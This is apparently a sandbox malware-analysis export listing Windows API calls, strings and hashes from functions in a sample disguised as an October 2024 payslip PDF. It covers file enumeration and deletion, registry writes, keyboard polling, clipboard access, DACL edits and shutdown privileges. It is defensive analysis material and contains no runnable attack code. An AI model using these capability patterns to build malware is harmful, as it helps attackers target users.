Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 3953360268-2428617273
Opcode ID: 6019e01f8a905f1be37e0d99389099f9e73f3829a76832a29972ad8a7ec709da
Instruction ID: 9dccd87f79c4d374159ebfd3d4de7d4a5e7b9d8f90e053dca53ae06cb09bdb84
Opcode Fuzzy Hash: 6019e01f8a905f1be37e0d99389099f9e73f3829a76832a29972ad8a7ec709da
Instruction Fuzzy Hash: 0BA12FB1508305ABC710EBA4CC86EAFB7ECFF95704F40492DF586C6191EA34DA08DB62

Function 00D0F200 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00D0F221
_wcscmp.LIBCMT ref: 00D0F236
_wcscmp.LIBCMT ref: 00D0F24D
GetFileAttributesW.KERNEL32(?), ref: 00D0F25F
SetFileAttributesW.KERNEL32(?,?), ref: 00D0F279
FindNextFileW.KERNEL32(00000000,?), ref: 00D0F291
FindClose.KERNEL32(00000000), ref: 00D0F29C
FindFirstFileW.KERNEL32(*.*,?), ref: 00D0F2B8
_wcscmp.LIBCMT ref: 00D0F2DF
_wcscmp.LIBCMT ref: 00D0F2F6
SetCurrentDirectoryW.KERNEL32(?), ref: 00D0F308
SetCurrentDirectoryW.KERNEL32(00D5A5A0), ref: 00D0F326
FindNextFileW.KERNEL32(00000000,00000010), ref: 00D0F330
FindClose.KERNEL32(00000000), ref: 00D0F33D
FindClose.KERNEL32(00000000), ref: 00D0F34F

Strings

*.*, xrefs: 00D0F2B3

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: 2f6fcbb95ff1b0c82a4b77e9581bec4f7bd5d74c8bb964fb8a8e8ec07d18d3fa
Instruction ID: 5fa788071bab251ff7b3c56620dfad61a8f22d2c469aa57a1e839e0911b53402
Opcode Fuzzy Hash: 2f6fcbb95ff1b0c82a4b77e9581bec4f7bd5d74c8bb964fb8a8e8ec07d18d3fa
Instruction Fuzzy Hash: A431B176501219AEDB30DBB4EC48FDE73ACAF49361F244675E818E31E0EB30DA458A74

Function 00D20AE2 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00D20BDE
RegCreateKeyExW.ADVAPI32(?,?,00000000,00D2F910,00000000,?,00000000,?,?), ref: 00D20C4C
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00D20C94
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00D20D1D
RegCloseKey.ADVAPI32(?), ref: 00D2103D
RegCloseKey.ADVAPI32(00000000), ref: 00D2104A

Strings

REG_EXPAND_SZ, xrefs: 00D20CBA
REG_DWORD, xrefs: 00D20F0E
REG_MULTI_SZ, xrefs: 00D20E05
REG_QWORD, xrefs: 00D20F8B
REG_BINARY, xrefs: 00D20FD8
REG_SZ, xrefs: 00D20D5B

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: e226b7a83a795523ab355a8f4d317007569008dc3fc8d0a7374e36951941c269
Instruction ID: d264f1ae889185f77f3655c271d45bdc570b6484dc21696532584072cac2a016
Opcode Fuzzy Hash: e226b7a83a795523ab355a8f4d317007569008dc3fc8d0a7374e36951941c269
Instruction Fuzzy Hash: 33027E752006119FCB14EF24D981E2ABBE5FF99718F04885DF88A9B362DB30ED41DB91

Function 00D0F35D Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 00D0F37E
_wcscmp.LIBCMT ref: 00D0F393
_wcscmp.LIBCMT ref: 00D0F3AA

Part of subcall function 00D045C1: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00D045DC

FindNextFileW.KERNEL32(00000000,?), ref: 00D0F3D9
FindClose.KERNEL32(00000000), ref: 00D0F3E4
FindFirstFileW.KERNEL32(*.*,?), ref: 00D0F400
_wcscmp.LIBCMT ref: 00D0F427
_wcscmp.LIBCMT ref: 00D0F43E
SetCurrentDirectoryW.KERNEL32(?), ref: 00D0F450
SetCurrentDirectoryW.KERNEL32(00D5A5A0), ref: 00D0F46E
FindNextFileW.KERNEL32(00000000,00000010), ref: 00D0F478
FindClose.KERNEL32(00000000), ref: 00D0F485
FindClose.KERNEL32(00000000), ref: 00D0F497

Strings

*.*, xrefs: 00D0F3FB

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: 921aca0fc3e7a7717a504f9e010d7c8f57f599065470ff3ed8fded2835712690
Instruction ID: 5a9cdc68dbe3523507873b28468a6ec7d52bd90cb503e6b87b4b7f80888ed12f
Opcode Fuzzy Hash: 921aca0fc3e7a7717a504f9e010d7c8f57f599065470ff3ed8fded2835712690
Instruction Fuzzy Hash: 9F31D3715002196ECB20AB64EC88FDE77AC9F49321F244675EC58E31E0E770DA45CA74

Function 00CF81F7 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00CF874A: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00CF8766
Part of subcall function 00CF874A: GetLastError.KERNEL32(?,00CF822A,?,?,?), ref: 00CF8770
Part of subcall function 00CF874A: GetProcessHeap.KERNEL32(00000008,?,?,00CF822A,?,?,?), ref: 00CF877F
Part of subcall function 00CF874A: HeapAlloc.KERNEL32(00000000,?,00CF822A,?,?,?), ref: 00CF8786
Part of subcall function 00CF874A: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00CF879D

Part of subcall function 00CF87E7: GetProcessHeap.KERNEL32(00000008,00CF8240,00000000,00000000,?,00CF8240,?), ref: 00CF87F3
Part of subcall function 00CF87E7: HeapAlloc.KERNEL32(00000000,?,00CF8240,?), ref: 00CF87FA
Part of subcall function 00CF87E7: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00CF8240,?), ref: 00CF880B

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00CF825B
_memset.LIBCMT ref: 00CF8270
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00CF828F
GetLengthSid.ADVAPI32(?), ref: 00CF82A0
GetAce.ADVAPI32(?,00000000,?), ref: 00CF82DD
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00CF82F9
GetLengthSid.ADVAPI32(?), ref: 00CF8316
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00CF8325
HeapAlloc.KERNEL32(00000000), ref: 00CF832C
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00CF834D
CopySid.ADVAPI32(00000000), ref: 00CF8354
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00CF8385
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00CF83AB
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00CF83BF

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: bf9c9c6834cb6b239f6cfa2e6ecf775368831a8f143db4fb965d593fcc2774aa
Instruction ID: 8a88a73f03d45f1d8e706bab2c82c62c48b2775adf19aa878ec11e7990bb9767
Opcode Fuzzy Hash: bf9c9c6834cb6b239f6cfa2e6ecf775368831a8f143db4fb965d593fcc2774aa
Instruction Fuzzy Hash: 79615B71900219ABDF109FA4DD45EFEBBB9FF04700F148529F925E62A1DB319A09CB61

Function 00CB6843 Relevance: 18.4, Strings: 14, Instructions: 883COMMON

Download Yara Rule

Strings

LIMIT_RECURSION=, xrefs: 00CF1635
ANY), xrefs: 00CF1717
LF), xrefs: 00CF16DD
CRLF), xrefs: 00CF16FA
UTF), xrefs: 00CF1533
BSR_UNICODE), xrefs: 00CF1771
NO_START_OPT), xrefs: 00CF1588
NO_AUTO_POSSESS), xrefs: 00CF1567
LIMIT_MATCH=, xrefs: 00CF15A9
CR), xrefs: 00CF16C0
ANYCRLF), xrefs: 00CF1734
UTF16), xrefs: 00CF1508
BSR_ANYCRLF), xrefs: 00CF1757
UCP), xrefs: 00CF1546

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID:
String ID: ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$UCP)$UTF)$UTF16)
API String ID: 0-4052911093
Opcode ID: 585f8b3616ec42803b7c49706e62f5547a6b7cd6e5971624487e6c9127255d40
Instruction ID: 3137c04c15c989a2ea7e3d8a2d503f52df6eb9a83190543f07d787bf51e3d28e
Opcode Fuzzy Hash: 585f8b3616ec42803b7c49706e62f5547a6b7cd6e5971624487e6c9127255d40
Instruction Fuzzy Hash: B0728E71E00219DBDB14CF69C8807FEB7B5EF48310F18816AE959EB290DB749E81DB91

Function 00D20665 Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D210A5: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00D20038,?,?), ref: 00D210BC

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00D20737

Part of subcall function 00CA9997: __itow.LIBCMT ref: 00CA99C2
Part of subcall function 00CA9997: __swprintf.LIBCMT ref: 00CA9A0C

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00D207D6
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00D2086E
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00D20AAD
RegCloseKey.ADVAPI32(00000000), ref: 00D20ABA

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: 8538ed5d95557cb0e92ee89dbd51ab6ef98fa3a82bfbc826c159a8b09411ad09
Instruction ID: 5b6143071558a39c5f544206bd78e672f1e256d993e511ec3c06ab1451638764
Opcode Fuzzy Hash: 8538ed5d95557cb0e92ee89dbd51ab6ef98fa3a82bfbc826c159a8b09411ad09
Instruction Fuzzy Hash: 34E14D31204311AFCB14DF24D985E6ABBF4EF99718F04896DF44ADB262DA30ED01DB61

Function 00D00219 Relevance: 16.6, APIs: 11, Instructions: 120keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00D00241
GetAsyncKeyState.USER32(000000A0), ref: 00D002C2
GetKeyState.USER32(000000A0), ref: 00D002DD
GetAsyncKeyState.USER32(000000A1), ref: 00D002F7
GetKeyState.USER32(000000A1), ref: 00D0030C
GetAsyncKeyState.USER32(00000011), ref: 00D00324
GetKeyState.USER32(00000011), ref: 00D00336
GetAsyncKeyState.USER32(00000012), ref: 00D0034E
GetKeyState.USER32(00000012), ref: 00D00360
GetAsyncKeyState.USER32(0000005B), ref: 00D00378
GetKeyState.USER32(0000005B), ref: 00D0038A

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 677e6ebb4b1b2d29509ffc7f11ba6fc17d8ee3bd40aabaecf3d3a5bfdcc9f4f3
Instruction ID: 7b5b632cc417561b5dae98ba09556d0398635bdd3bd810e34c1c54ae610ad0df
Opcode Fuzzy Hash: 677e6ebb4b1b2d29509ffc7f11ba6fc17d8ee3bd40aabaecf3d3a5bfdcc9f4f3
Instruction Fuzzy Hash: 654175245047C97EFF329B7488083A6BEA06F26344F0C85ADD5CE566C2EB9499C487B6

Function 00D186D0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA9997: __itow.LIBCMT ref: 00CA99C2
Part of subcall function 00CA9997: __swprintf.LIBCMT ref: 00CA9A0C

CoInitialize.OLE32 ref: 00D18718
CoUninitialize.OLE32 ref: 00D18723
CoCreateInstance.OLE32(?,00000000,00000017,00D32BEC,?), ref: 00D18783
IIDFromString.OLE32(?,?), ref: 00D187F6
VariantInit.OLEAUT32(?), ref: 00D18890
VariantClear.OLEAUT32(?), ref: 00D188F1

Strings

Failed to create object, xrefs: 00D1878E, 00D18844
Invalid parameter, xrefs: 00D1880F
NULL Pointer assignment, xrefs: 00D187C8

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: 9fce6ca6a456ef6fa30e6efde70d728c6714d39d321f3fcc22ff5eb757cf3a01
Instruction ID: 1395f4f49301892dd4b826e17fd3af438bd56d7bfb60c12b31d3692466f57dbf
Opcode Fuzzy Hash: 9fce6ca6a456ef6fa30e6efde70d728c6714d39d321f3fcc22ff5eb757cf3a01
Instruction Fuzzy Hash: 5161CF70608311AFC710DF64E845BAABBE4EF49714F14491DF9859B291CF70ED88EBA2

Function 00D14458 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00D1447F
EmptyClipboard.USER32 ref: 00D14485
GlobalAlloc.KERNEL32(00000002,?), ref: 00D1449A
CloseClipboard.USER32 ref: 00D14539

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 437736daa5f598095c61d2da15ae712b0a56f07ea9f86bd17580fb77600a7f5e
Instruction ID: df7812f9be9a1a0d3af78eeab9862ce5dfd456e47e71fc8db0f0ebb44dc6f38a
Opcode Fuzzy Hash: 437736daa5f598095c61d2da15ae712b0a56f07ea9f86bd17580fb77600a7f5e
Instruction Fuzzy Hash: A2218D35200311AFDB20AF60EC19B6A77B9EF14715F14842AF946DB3B1DB74AC01DB69

Function 00D03A2B Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA48AE: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00CA48A1,?,?,00CA37C0,?), ref: 00CA48CE

Part of subcall function 00D04CD3: GetFileAttributesW.KERNEL32(?,00D03947), ref: 00D04CD4

FindFirstFileW.KERNEL32(?,?), ref: 00D03ADF
DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 00D03B87
MoveFileW.KERNEL32(?,?), ref: 00D03B9A
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 00D03BB7
FindNextFileW.KERNEL32(00000000,00000010), ref: 00D03BD9
FindClose.KERNEL32(00000000,?,?,?,?), ref: 00D03BF5

Strings

\*.*, xrefs: 00D03A8A, 00D03A93, 00D03AA8

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4002782344-1173974218
Opcode ID: 7b236a979f27958e64c94b9e67ffce46f3187294eb2eb112d7a0c09f59ea4a0b
Instruction ID: b8dc35c7176ce03fcd881d14e6ff77199a0efa1f6e9441119b24147c7b6b5792
Opcode Fuzzy Hash: 7b236a979f27958e64c94b9e67ffce46f3187294eb2eb112d7a0c09f59ea4a0b
Instruction Fuzzy Hash: 1C51603190524D9ACF15EBA0CD92AEDB778AF15308F6441A9E446B71D1EF306F09DB70

Function 00D0F65E Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA7F41: _memmove.LIBCMT ref: 00CA7F82

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 00D0F6AB
Sleep.KERNEL32(0000000A), ref: 00D0F6DB
_wcscmp.LIBCMT ref: 00D0F6EF
_wcscmp.LIBCMT ref: 00D0F70A
FindNextFileW.KERNEL32(?,?), ref: 00D0F7A8
FindClose.KERNEL32(00000000), ref: 00D0F7BE

Strings

*.*, xrefs: 00D0F690

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNextSleep_memmove
String ID: *.*
API String ID: 713712311-438819550
Opcode ID: b72024497169870ccdcb97c9f83b54c8f3bd878c1d1b7dd6070e745583f76201
Instruction ID: cbea1283e52c2c2e3367c021f2abcc3e8354070a237582cdf47d9637709cb83b
Opcode Fuzzy Hash: b72024497169870ccdcb97c9f83b54c8f3bd878c1d1b7dd6070e745583f76201
Instruction Fuzzy Hash: 03416E7190421A9FCF21DF64CC45BEEBBB4FF55310F244566E819A2290EB319E44DBA1

Function 00CB4140 Relevance: 11.6, APIs: 1, Strings: 5, Instructions: 1132COMMON

Download Yara Rule

Strings

VUUU, xrefs: 00CE7B0C
VUUU, xrefs: 00CB44ED
VUUU, xrefs: 00CB4520
ERCP, xrefs: 00CB421F
VUUU, xrefs: 00CB44DB

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID:
String ID: ERCP$VUUU$VUUU$VUUU$VUUU
API String ID: 0-1546025612
Opcode ID: 8f41a0cdaae289d68e2a61f6851b742978226d16a9823ac29f4fdaca6edbf96a
Instruction ID: 9cf18241f5dca33eb74ddfb140ca46ab8da0da9a1340b01f70e5b23fbe39dfc4
Opcode Fuzzy Hash: 8f41a0cdaae289d68e2a61f6851b742978226d16a9823ac29f4fdaca6edbf96a
Instruction Fuzzy Hash: 45A29070E0825ACBDF28CF59C9807EDB7B1BF55314F1482A9E869A7281DB309E85DF50

Function 00CB58C0 Relevance: 11.0, APIs: 7, Instructions: 532COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00CB5A05
_memmove.LIBCMT ref: 00CB5A55
_memmove.LIBCMT ref: 00CB5ABB

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: ddd2683ecba3c43b4c83783de56de4fdf95b4a49bc5609caca4379dbfecc463a
Instruction ID: 0c00ed133dc3b8fd9a43a2f5e63d3fff65319ce25f9630e73657fae1b18abb70
Opcode Fuzzy Hash: ddd2683ecba3c43b4c83783de56de4fdf95b4a49bc5609caca4379dbfecc463a
Instruction Fuzzy Hash: E7129970A00609DFDF14CFA5D981AEEB7B5FF48300F208269E816E7291EB35AE11DB51

Function 00D0545F Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00CF8CC3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00CF8D0D
Part of subcall function 00CF8CC3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00CF8D3A
Part of subcall function 00CF8CC3: GetLastError.KERNEL32 ref: 00CF8D47

ExitWindowsEx.USER32(?,00000000), ref: 00D0549B

Strings

SeShutdownPrivilege, xrefs: 00D0546B
@, xrefs: 00D0548E
, xrefs: 00D05489

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
